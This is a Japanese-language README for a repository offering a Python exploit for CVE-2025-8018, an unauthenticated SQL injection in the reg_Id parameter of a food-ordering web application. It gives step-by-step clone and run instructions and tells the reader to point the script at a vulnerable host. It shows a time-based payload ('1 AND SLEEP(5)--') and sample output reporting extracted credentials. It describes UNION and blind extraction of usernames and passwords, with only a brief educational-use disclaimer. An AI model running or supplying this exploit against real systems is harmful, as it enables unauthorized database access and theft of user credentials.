CVE-2025-8018 エクスプロイト – Food Ordering Review System v1.0

このリポジトリは、Food Ordering Review System v1.0 で発見された高深刻度のSQLインジェクション脆弱性 CVE‑2025‑8018 に対するPythonの概念実証（PoC）エクスプロイトを提供します。この脆弱性は、reservation_page.php の reg_Id パラメータを介してトリガーされます。

📌 脆弱性の概要

• タイプ: SQLインジェクション（認証不要）
• 影響を受けるファイル: /user/reservation_page.php
• 脆弱なパラメータ: reg_Id
• 公開日: 2025年7月22日
• CVE参照: CVE-2025-8018
• 影響: 攻撃者が認証なしで任意のSQLクエリを実行でき、users テーブルからのデータ抽出などが可能になります。

💡 エクスプロイトの機能

1. 時間ベースのブラインドSQLインジェクションチェック（SLEEP()を使用）
2. カラム数発見（UNION SELECT NULL,NULL,...を使用）
3. データ抽出（例：ユーザー名、パスワード）をUNIONベースインジェクション経由で実行
4. ブラインドフォールバック抽出：直接出力が見えない場合にフィールド長を推測

🛠️ 必要条件

• Python 3.x
• requests ライブラリ

依存関係をインストールします:

pip install requests

使用方法 リポジトリをクローンします:

git clone https://github.com/drackyjr/CVE-2025-8018.git
cd CVE-2025-8018

ターゲットURLを更新します:

cve-2025-8018.py を開いて次のように変更します:

TARGET_URL = "http://TARGET-IP/user/reservation_page.php"

TARGET-IP を脆弱なシステムの実際のアドレスに置き換えてください。

エクスプロイトスクリプトを実行します:

python3 cve-2025-8018.py

出力

[*] Checking time-based SQLi with payload: 1 AND SLEEP(5)-- 
[+] Blind SQL injection confirmed!
[*] Testing how many columns the query expects...
[+] Looks like 3 columns work!
[*] Trying to extract data using UNION-based SQL injection...
[+] Found potential credentials in the response!
[*] Trying blind extraction fallback...
[+] Username is 7 characters long!

⚠️ 免責事項

このPoCは、CTFチャレンジ、サイバーセキュリティトレーニング、または自身のシステムでの防御テストなど、教育目的でのみ提供されます。

本コードを本番環境や明示的なテスト許可がないシステムに対して使用しないでください。作者および関連当事者は、コードの誤用や損害について一切責任を負いません。